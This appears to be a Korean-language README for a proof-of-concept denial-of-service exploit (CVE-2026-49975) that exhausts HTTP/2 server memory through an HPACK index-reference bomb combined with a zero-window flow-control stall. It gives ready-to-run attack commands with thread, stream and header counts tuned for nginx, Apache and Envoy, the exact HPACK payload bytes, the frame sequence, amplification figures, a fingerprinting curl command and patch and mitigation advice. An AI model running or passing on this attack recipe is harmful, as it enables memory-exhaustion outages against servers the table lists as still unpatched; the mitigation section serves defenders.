
HTTP/2 폭탄 PoC — CVE-2026-49975 (HPACK 인덱스 참조 폭탄 + 흐름 제어 정지)
CVE-2026-49975에 대한 개념 증명(PoC) 익스플로잇으로, HTTP/2 서버 구현체의 원격 서비스 거부(DoS) 취약점입니다. Calif Security Research의 Quang Luong이 발견했으며, 2026년 6월 2일에 공개되었습니다.
승인된 보안 테스트 전용입니다. 소유하지 않았거나 테스트에 대한 서면 허가를 받지 않은 인프라에는 사용하지 마십시오.
이 공격은 두 가지 HTTP/2 프로토콜 메커니즘을 연쇄적으로 사용합니다:
1. HPACK 인덱스 참조 폭탄
HPACK(RFC 7541)은 송신자가 이전에 본 헤더를 인덱스로 참조할 수 있게 합니다 — 보통 1바이트입니다. 이 익스플로잇은 거의 비어 있는 헤더 하나를 동적 테이블에 한 번 삽입한 다음, 이를 수천 번 참조합니다. 1바이트 와이어 참조마다 서버는 항목당 약 70바이트의 내부 부기(bookkeeping) 메모리를 할당해야 합니다. 큰 값이 전혀 포함되지 않으므로 "최대 디코딩 헤더 크기" 제한은 절대 트리거되지 않습니다.
2. HTTP/2 흐름 제어 윈도우 스톨
수신 윈도우를 0바이트로 광고함으로써 공격자는 서버가 응답을 보내거나 메모리를 해제하지 못하게 막습니다. 주기적인 1바이트 WINDOW_UPDATE 프레임이 서버의 전송 타임아웃을 재설정하여, 연결이 열려 있는 동안 할당된 메모리를 계속 유지시킵니다.
결과: 스트림당 약 16KB 전송 → 스트림당 약 1.15MB 서버 RAM 할당 및 유지.
의존성 없음 — 표준 라이브러리(stdlib)만 사용.
# Basic test (single connection)
python3 exploit-test.py target.com 443
# nginx-specific bookkeeping bomb (recommended for nginx targets)
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374
# Apache/Envoy cookie-crumb technique
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000
# HTTP/2 cleartext (rare — most servers require TLS for h2)
python3 exploit-test.py target.com 80 --no-ssl
total_streams = threads × streams
server_ram_mb = total_streams × headers × amplification_bytes / 1024²
# nginx example: 50 × 30 × 16374 × 70 / 1024² = ~1,647 MB
# Confirm HTTP/2 support and server version
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"
# Vulnerable if:
# - ALPN: server accepted h2 (HTTP/2 enabled)
# - server: nginx/X.Y.Z (where X.Y.Z < 1.29.8)
nginx — 1.29.8 이상으로 업그레이드하고 다음을 추가:
http2 max_headers 1000;
또는 HTTP/2를 완전히 비활성화:
# Remove "http2" from listen directive
listen 443 ssl;
Apache httpd — mod_http2를 v2.0.41 이상으로 업그레이드하세요. 임시 조치: Protocols http/1.1
IIS / Envoy / Pingora — 작성 시점 기준 사용 가능한 패치가 없습니다. HTTP/2를 비활성화하거나 패치된 프록시를 앞에 두세요.
일반 (모든 서버):
# Cap worker memory to limit blast radius
ulimit -v 2097152 # 2 GB per process
# Docker: --memory="2g" --memory-swap="2g"
Dynamic table seed (incremental indexing, adds to index 62):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00
Indexed reference to entry 62 (1 byte each):
0x80 | 62 = 0xbe
Wire payload per stream = 9 bytes (seed) + N bytes (N references)
Server allocation per ref ≈ sizeof(ngx_table_elt_t) ≈ 70 bytes
Client → Server:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (preface)
SETTINGS [INITIAL_WINDOW_SIZE=0] (stall setup)
SETTINGS ACK (after reading server SETTINGS)
HEADERS [stream 1] ← bomb payload (pseudo-headers + HPACK bomb)
HEADERS [stream 3] ← bomb payload
...
WINDOW_UPDATE(1) per stream / 1s (keep-alive stall)
| 파일 | 설명 |
|---|---|
exploit-test.py | 메인 PoC — 다중 스트림, 지속적 재연결, nginx + classic 모드 |
SECURITY-REPORT-MIST.md | mist.ac.bd에 대한 승인된 평가 보고서 |
LICENSE | MIT |
| 서버 | 증폭률 | 데모 영향 | 상태 |
|---|
| Envoy 1.37.2 | ~5,700:1 | 약 10초 내 32GB | 공개 시점 패치 없음 |
| Apache httpd 2.4.67 | ~4,000:1 | 약 18초 내 32GB | mod_http2 v2.0.41에서 수정됨 |
| nginx < 1.29.8 | ~70:1 | 약 45초 내 32GB | nginx 1.29.8에서 수정됨 |
| Microsoft IIS (WS 2025) | ~68:1 | 약 45초 내 64GB | 공개 시점 패치 없음 |
| Cloudflare Pingora | ~68:1 | — | 공개 시점 패치 없음 |
| 플래그 | 기본값 | 설명 |
|---|
target | — | 호스트 이름 또는 IP |
port | 443 | TCP 포트 |
--threads | 1 | 병렬 연결 수 (각 연결은 종료 시 재연결) |
--streams | 10 | 연결당 HTTP/2 스트림 수 |
--headers | 5000 | 스트림당 HPACK 인덱스 참조 수 |
--mode | nginx | nginx (부기 방식, 70:1) 또는 classic (대형 값, 4000:1) |
--no-ssl | off | TLS 비활성화 (h2c) |
| 대상 | 모드 | --headers | 비고 |
|---|
| nginx < 1.29.8 | nginx | 16374 | 기본 http2_max_header_size 16k 한도 내 유지 |
| Apache httpd | classic | 5000 | 쿠키 조각(Cookie crumb) 기법 |
| Envoy | classic | 32000 | 높은 증폭률 |